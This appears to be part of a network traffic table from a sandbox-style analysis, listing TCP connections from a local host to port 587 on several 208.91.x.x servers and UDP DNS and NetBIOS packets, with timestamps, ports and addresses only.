Apr 18, 2024 10:25:55.360240936 CEST	49181	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:58.464442015 CEST	49181	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:59.572036982 CEST	49178	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:26:00.728126049 CEST	49180	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:04.564049006 CEST	49181	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:26:06.514261961 CEST	49179	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:09.556123972 CEST	49179	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:11.616370916 CEST	49178	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:12.749049902 CEST	49180	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:26:14.657305002 CEST	49178	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:15.562131882 CEST	49179	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:15.764887094 CEST	49180	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:26:20.663405895 CEST	49178	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:21.864562988 CEST	49180	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:26:21.986711979 CEST	49181	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:25.015727997 CEST	49181	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:27.667929888 CEST	49179	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:30.662936926 CEST	49179	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:31.110481024 CEST	49181	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:33.870927095 CEST	49180	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:36.762569904 CEST	49179	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:36.918556929 CEST	49180	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:43.018228054 CEST	49180	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:26:45.519274950 CEST	49181	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:48.275846958 CEST	49182	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:26:48.618591070 CEST	49181	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:51.270725012 CEST	49182	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:26:54.616210938 CEST	49181	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:26:57.276707888 CEST	49182	587	192.168.2.22	208.91.198.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 10:23:47.736828089 CEST	138	138	192.168.2.22	192.168.2.255
Apr 18, 2024 10:23:51.908421040 CEST	138	138	192.168.2.22	192.168.2.255
Apr 18, 2024 10:23:54.159703016 CEST	54562	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:23:54.289743900 CEST	53	54562	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:00.799091101 CEST	52917	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:00.918476105 CEST	53	52917	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:01.768346071 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:02.524877071 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:02.615402937 CEST	62751	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:02.628129959 CEST	57893	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:02.735512018 CEST	53	57893	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:02.771320105 CEST	57893	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:02.807598114 CEST	53	62751	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:02.808079958 CEST	62751	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:02.878804922 CEST	53	57893	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:02.879147053 CEST	57893	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:02.915587902 CEST	53	62751	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:02.915832043 CEST	62751	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:02.984225035 CEST	53	57893	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:02.984481096 CEST	57893	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:03.020723104 CEST	53	62751	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:03.021029949 CEST	62751	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:03.089870930 CEST	53	57893	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:03.129018068 CEST	53	62751	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:03.135205984 CEST	57893	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:03.155044079 CEST	54821	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:03.241738081 CEST	53	57893	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:03.242441893 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:03.263102055 CEST	53	54821	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:03.289247990 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:03.991269112 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:04.755764008 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:05.574213982 CEST	54719	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:05.679852009 CEST	53	54719	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:05.680083990 CEST	54719	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:05.785197973 CEST	53	54719	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:07.269649982 CEST	49881	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:07.374483109 CEST	53	49881	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:07.595623016 CEST	49881	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:07.700669050 CEST	53	49881	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:08.245851994 CEST	54998	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:08.351823092 CEST	53	54998	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:08.352066994 CEST	54998	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:08.457222939 CEST	53	54998	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:08.486450911 CEST	54998	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:08.591680050 CEST	53	54998	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:08.591933012 CEST	54998	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:08.697057009 CEST	53	54998	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:08.697343111 CEST	54998	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:08.802454948 CEST	53	54998	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:08.819658041 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:08.906383991 CEST	52781	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:09.026017904 CEST	53	52781	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:09.026467085 CEST	52781	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:09.147062063 CEST	53	52781	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:09.576097012 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:10.045865059 CEST	63926	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.085376978 CEST	65510	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.150906086 CEST	53	63926	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.151242971 CEST	63926	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.191788912 CEST	53	65510	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.193487883 CEST	65510	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.256194115 CEST	53	63926	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.256594896 CEST	63926	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.298892975 CEST	53	65510	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.299745083 CEST	65510	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.340492964 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:10.362170935 CEST	53	63926	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.362513065 CEST	63926	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.407037020 CEST	53	65510	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.408123016 CEST	65510	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.468060970 CEST	53	63926	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.469623089 CEST	63926	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.513268948 CEST	53	65510	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.537807941 CEST	65510	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:10.575653076 CEST	53	63926	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.576432943 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:10.642803907 CEST	53	65510	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:10.646167994 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:11.118777037 CEST	62672	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:11.223377943 CEST	53	62672	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:11.223653078 CEST	62672	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:11.328705072 CEST	53	62672	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:11.328952074 CEST	62672	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:11.338892937 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:11.401297092 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:11.434159040 CEST	53	62672	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:11.434425116 CEST	62672	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:11.539330959 CEST	53	62672	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:11.735070944 CEST	56475	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:11.839651108 CEST	53	56475	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:11.839986086 CEST	56475	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:11.944811106 CEST	53	56475	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:12.103478909 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:12.165802956 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:12.889708042 CEST	49384	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:13.000364065 CEST	53	49384	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:13.000824928 CEST	49384	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:13.105609894 CEST	53	49384	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:13.106060028 CEST	49384	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:13.210928917 CEST	53	49384	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:13.213027000 CEST	49384	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:13.317935944 CEST	53	49384	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:13.328210115 CEST	54842	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:13.433374882 CEST	53	54842	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:13.433931112 CEST	54842	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:13.538892984 CEST	53	54842	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.186202049 CEST	58105	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.291060925 CEST	53	58105	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.292258024 CEST	58105	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.397862911 CEST	53	58105	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.398127079 CEST	58105	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.502810001 CEST	53	58105	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.508918047 CEST	64928	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.613821983 CEST	53	64928	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.614180088 CEST	64928	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.718859911 CEST	53	64928	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.719212055 CEST	64928	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.823872089 CEST	53	64928	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.824076891 CEST	64928	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:33.928817987 CEST	53	64928	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:33.929028034 CEST	64928	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:34.033823967 CEST	53	64928	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:36.190516949 CEST	57390	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:36.295732975 CEST	53	57390	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:36.296114922 CEST	57390	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:36.400875092 CEST	53	57390	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:36.416476965 CEST	58095	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:36.521560907 CEST	53	58095	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:40.270355940 CEST	54261	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:40.374821901 CEST	53	54261	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:40.375076056 CEST	54261	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:40.480005980 CEST	53	54261	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:40.480314016 CEST	54261	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:40.585784912 CEST	53	54261	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:40.585977077 CEST	54261	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:40.690351009 CEST	53	54261	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:40.690572023 CEST	54261	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:40.796732903 CEST	53	54261	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:40.797508001 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:41.556257963 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:42.320777893 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:43.091598034 CEST	60507	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.196376085 CEST	53	60507	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.196609020 CEST	60507	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.301039934 CEST	53	60507	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.304195881 CEST	60507	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.408520937 CEST	53	60507	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.415754080 CEST	50446	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.520600080 CEST	53	50446	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.520919085 CEST	50446	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.625996113 CEST	53	50446	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.626255989 CEST	50446	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.731477022 CEST	53	50446	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.731726885 CEST	50446	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.836400032 CEST	53	50446	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.836632013 CEST	50446	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:43.941601992 CEST	53	50446	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:43.942409039 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:44.691831112 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:45.251007080 CEST	55939	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:45.355560064 CEST	53	55939	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:45.356280088 CEST	55939	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:45.456226110 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:45.461114883 CEST	53	55939	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:45.461335897 CEST	55939	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:45.566086054 CEST	53	55939	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:45.566353083 CEST	55939	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:45.671073914 CEST	53	55939	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:45.671411991 CEST	55939	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:45.776412964 CEST	53	55939	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:45.777046919 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:46.532644987 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:47.297137976 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:48.068439007 CEST	49608	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.088229895 CEST	61486	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.173156977 CEST	53	49608	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.173419952 CEST	49608	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.192960978 CEST	53	61486	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.193481922 CEST	61486	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.277684927 CEST	53	49608	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.284744024 CEST	62453	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.298033953 CEST	53	61486	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.300290108 CEST	50568	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.389483929 CEST	53	62453	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.390090942 CEST	62453	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.404927015 CEST	53	50568	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.405225039 CEST	50568	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.494925976 CEST	53	62453	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.495392084 CEST	62453	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.509583950 CEST	53	50568	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.509839058 CEST	50568	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.600137949 CEST	53	62453	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.600399971 CEST	62453	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.614639997 CEST	53	50568	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.614787102 CEST	50568	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.705135107 CEST	53	62453	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.705403090 CEST	62453	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.719130039 CEST	53	50568	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.719336033 CEST	50568	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:48.810014963 CEST	53	62453	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:48.824213028 CEST	53	50568	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:55.998702049 CEST	61467	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:56.102999926 CEST	53	61467	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:56.104008913 CEST	61467	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:56.208812952 CEST	53	61467	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:56.209227085 CEST	61467	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:56.314011097 CEST	53	61467	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:56.316143990 CEST	61467	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:56.421336889 CEST	53	61467	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:56.421596050 CEST	61467	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:56.526901007 CEST	53	61467	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:56.527610064 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:57.281117916 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:58.045475960 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:24:58.818582058 CEST	61618	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:58.923811913 CEST	53	61618	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:58.924282074 CEST	61618	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:59.029186010 CEST	53	61618	8.8.8.8	192.168.2.22
Apr 18, 2024 10:24:59.029728889 CEST	61618	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:24:59.134315014 CEST	53	61618	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:04.520359993 CEST	61618	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:04.625153065 CEST	53	61618	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:05.510601044 CEST	54422	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:05.615554094 CEST	53	54422	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:05.615855932 CEST	54422	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:05.720624924 CEST	53	54422	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:05.721180916 CEST	54422	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:05.826044083 CEST	53	54422	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:05.826286077 CEST	54422	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:05.931366920 CEST	53	54422	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:05.931731939 CEST	54422	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:06.036643982 CEST	53	54422	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:06.037314892 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:06.797132969 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:07.478336096 CEST	52074	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:07.561548948 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:07.583297014 CEST	53	52074	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:07.584295034 CEST	52074	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:07.689182997 CEST	53	52074	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:07.689439058 CEST	52074	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:07.794476032 CEST	53	52074	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:07.794723988 CEST	52074	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:07.899600983 CEST	53	52074	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:07.899849892 CEST	52074	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:08.004851103 CEST	53	52074	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:08.005544901 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:08.530057907 CEST	50337	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:08.634907007 CEST	53	50337	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:08.635113001 CEST	50337	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:08.739793062 CEST	53	50337	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:08.740108967 CEST	50337	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:08.762892962 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:08.844893932 CEST	53	50337	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:08.845124960 CEST	50337	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:08.949970961 CEST	53	50337	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:08.950258017 CEST	50337	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:09.055126905 CEST	53	50337	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:09.055887938 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:09.527348995 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:09.807909012 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:09.996020079 CEST	61826	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.101432085 CEST	53	61826	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.101686954 CEST	61826	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.206696033 CEST	53	61826	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.206945896 CEST	61826	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.302309036 CEST	56329	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.311572075 CEST	53	61826	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.311800957 CEST	61826	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.407010078 CEST	53	56329	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.407263041 CEST	56329	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.416579962 CEST	53	61826	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.416843891 CEST	61826	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.512345076 CEST	53	56329	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.520540953 CEST	56329	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.522171021 CEST	53	61826	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.531646013 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:10.572292089 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:10.625241995 CEST	53	56329	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.625507116 CEST	56329	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.730746984 CEST	53	56329	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.731338978 CEST	56329	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:10.836072922 CEST	53	56329	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:10.836709976 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:11.289916992 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:11.343674898 CEST	63469	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:11.448199034 CEST	53	63469	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:11.452363968 CEST	63469	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:11.556700945 CEST	53	63469	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:11.560230970 CEST	63469	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:11.586354017 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:11.664988995 CEST	53	63469	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:11.665415049 CEST	63469	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:11.770291090 CEST	53	63469	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:11.770601988 CEST	63469	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:11.875487089 CEST	53	63469	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:11.876075983 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:12.054318905 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:12.350711107 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:12.631526947 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:12.826034069 CEST	59447	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:12.930912971 CEST	53	59447	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:12.931303978 CEST	59447	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.036251068 CEST	53	59447	8.8.8.8	192.168.2.22
